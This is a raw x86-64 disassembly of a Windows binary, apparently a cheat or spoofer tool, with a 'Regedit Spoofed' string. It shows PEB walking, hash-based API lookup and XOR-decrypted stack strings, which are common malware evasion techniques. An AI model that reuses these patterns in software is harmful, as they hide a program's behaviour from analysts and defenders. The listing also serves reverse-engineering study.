je 0x140048395
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140048370
cmp r8d, 0xf2ed5750
je 0x1400483a2
test r9d, r9d
jne 0x140048340
mov rax, qword [rax]
jmp 0x140048310
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140048509
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x10f4]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x140048400
cmp r8d, 0x6c
jge 0x140048550
movsxd rax, r8d
lea r9, [rsp + 0x10f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x140048520
lea rcx, [rsp + 0x10f0]
call r11
movups xmm0, xmmword [0x1400a7f60]
movups xmmword [rsp + 0x1160], xmm0
movups xmm1, xmmword [0x1400a7f70]
movups xmmword [rsp + 0x1170], xmm1
movups xmm0, xmmword [0x1400a7f80]
movups xmmword [rsp + 0x1180], xmm0
movups xmm1, xmmword [0x1400a7f90]
movups xmmword [rsp + 0x1190], xmm1
movups xmm0, xmmword [0x1400a7fa0]
movups xmmword [rsp + 0x11a0], xmm0
movups xmm1, xmmword [0x1400a7fb0]
movups xmmword [rsp + 0x11b0], xmm1
mov eax, dword [0x1400a7fc0]
mov dword [rsp + 0x11c0], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004866a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004866a
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0x9838e128
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048665
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140048640
cmp r8d, 0xf81d7729
je 0x140048672
test r9d, r9d
jne 0x140048610
mov rax, qword [rax]
jmp 0x1400485e0
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x1400487d9
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1164]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x1400486d0
cmp r8d, 0x64
jge 0x140048820
movsxd rax, r8d
lea r9, [rsp + 0x1160]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x64
jl 0x1400487f0
lea rcx, [rsp + 0x1160]
call r11
movups xmm0, xmmword [0x1400a7fd0]
movups xmmword [rsp + 0x1010], xmm0
movups xmm1, xmmword [0x1400a7fe0]
movups xmmword [rsp + 0x1020], xmm1
movups xmm0, xmmword [0x1400a7ff0]
movups xmmword [rsp + 0x1030], xmm0
movups xmm1, xmmword [0x1400a8000]
movups xmmword [rsp + 0x1040], xmm1
movups xmm0, xmmword [str.4___t__r1jd8m]
movups xmmword [rsp + 0x1050], xmm0
movups xmm1, xmmword [0x1400a8020]
movups xmmword [rsp + 0x1060], xmm1
movzx eax, word [0x1400a8030]
mov word [rsp + 0x1070], ax
movzx eax, byte [0x1400a8032]
mov byte [rsp + 0x1072], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004894a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004894a
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0x2ca61614
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048945
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140048920
cmp r8d, 0x928aafad
je 0x140048952
test r9d, r9d
jne 0x1400488f0
mov rax, qword [rax]
jmp 0x1400488c0
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140048ab9
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1014]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x1400489b0
cmp r8d, 0x63
jge 0x140048b00
movsxd rax, r8d
lea r9, [rsp + 0x1010]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x140048ad0
lea rcx, [rsp + 0x1010]
call r11
lea rdx, [rsp + 0x1500]
lea rax, [0x140000000]
lea rcx, [rax + 0xa8040]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x90], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0xa0], rax
movzx eax, byte [rcx + 0xa8]
mov byte [rdx + 0xa8], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140048c3a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140048c3a
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0x41593904
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048c35
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140048c10
cmp r8d, 0x787779d
je 0x140048c42
test r9d, r9d
jne 0x140048be0
mov rax, qword [rax]
jmp 0x140048bb0
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140048daf
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1504]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x140048ca0
cmp r8d, 0xa9
jge 0x140048df3
movsxd rax, r8d
lea r9, [rsp + 0x1500]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa9
jl 0x140048dc0
lea rcx, [rsp + 0x1500]
call r11
movups xmm0, xmmword [0x1400a80f0]
movups xmmword [rsp + 0xb30], xmm0
movsd xmm0, qword [0x1400a8100]
movsd qword [rsp + 0xb40], xmm0
mov eax, dword [0x1400a8108]
mov dword [rsp + 0xb48], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140048eca
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140048eca
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc4892040
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048ec5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140048ea0
cmp r8d, 0x4b60af41
je 0x140048ed2
test r9d, r9d
jne 0x140048e70
mov rax, qword [rax]
jmp 0x140048e40
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140049039
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xb34]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140048f30
cmp r8d, 0x1c
jge 0x140049080
movsxd rax, r8d
lea r9, [rsp + 0xb30]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140049050
lea rcx, [rsp + 0xb30]
call r11
movups xmm0, xmmword [str.DYU]
movups xmmword [rsp + 0xcd0], xmm0
movups xmm1, xmmword [0x1400a8120]
movups xmmword [rsp + 0xce0], xmm1
movups xmm0, xmmword [0x1400a8130]
movups xmmword [rsp + 0xcf0], xmm0
movups xmm1, xmmword [0x1400a8140]
movups xmmword [rsp + 0xd00], xmm1
movzx eax, word [0x1400a8150]
mov word [rsp + 0xd10], ax
movzx eax, byte [0x1400a8152]
mov byte [rsp + 0xd12], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004918a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004918a
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xbbe108a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140049185
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140049160
test r9d, r9d
jne 0x140049130
mov rax, qword [rax]
jmp 0x140049100
cmp byte [0x140d45064], 0
je 0x1400495c4
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, str.___Regedit_Spoofed
lea rcx, [rsp + 0xe68]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movaps xmm0, xmm15
subss xmm0, xmm1
movss dword [rsp + 0x508], xmm0
mov dword [rsp + 0x50c], 0x43200000
movups xmmword [rsp + 0x6b8], xmm8
lea rcx, [rsp + 0x6b8]
call fcn.1400082d0
mov r12d, eax
movups xmmword [rsp + 0x6c8], xmm8
lea rcx, [rsp + 0x6c8]
call fcn.1400082d0
mov r10d, eax
movups xmm0, xmmword [0x1400a8158]
movups xmmword [rsp + 0x8d8], xmm0
mov ecx, dword [0x1400a8168]
mov dword [rsp + 0x8e8], ecx
cmp byte [0x1400a816b], 0
je 0x1400495a0
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x140049559
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x8dc]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140049450
cmp r8d, 0x14
jge 0x1400495a0
movsxd rax, r8d
lea r9, [rsp + 0x8d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140049570
lea rax, [rsp + 0x508]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm13
mov r8d, r12d
mov edx, r10d
lea rcx, [rsp + 0x8d8]
call fcn.140039970
cmp byte [0x140d45065], 0
jne 0x14004b19e
movups xmm0, xmmword [0x1400a8170]
movups xmmword [rsp + 0x918], xmm0
mov eax, dword [0x1400a8180]
mov dword [rsp + 0x928], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004968a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004968a
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0x25e4bdaa
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140049685
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140049660
cmp r8d, 0x1d6c9793
je 0x140049692
test r9d, r9d
jne 0x140049630
mov rax, qword [rax]
jmp 0x140049600
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x1400497f9
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x91c]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400496f0
cmp r8d, 0x14
jge 0x140049840
movsxd rax, r8d
lea r9, [rsp + 0x918]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140049810
lea rcx, [rsp + 0x918]
call r11
movups xmm0, xmmword [0x1400a8188]
movups xmmword [rsp + 0xb10], xmm0
movsd xmm0, qword [0x1400a8198]
movsd qword [rsp + 0xb20], xmm0
mov eax, dword [0x1400a81a0]
mov dword [rsp + 0xb28], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
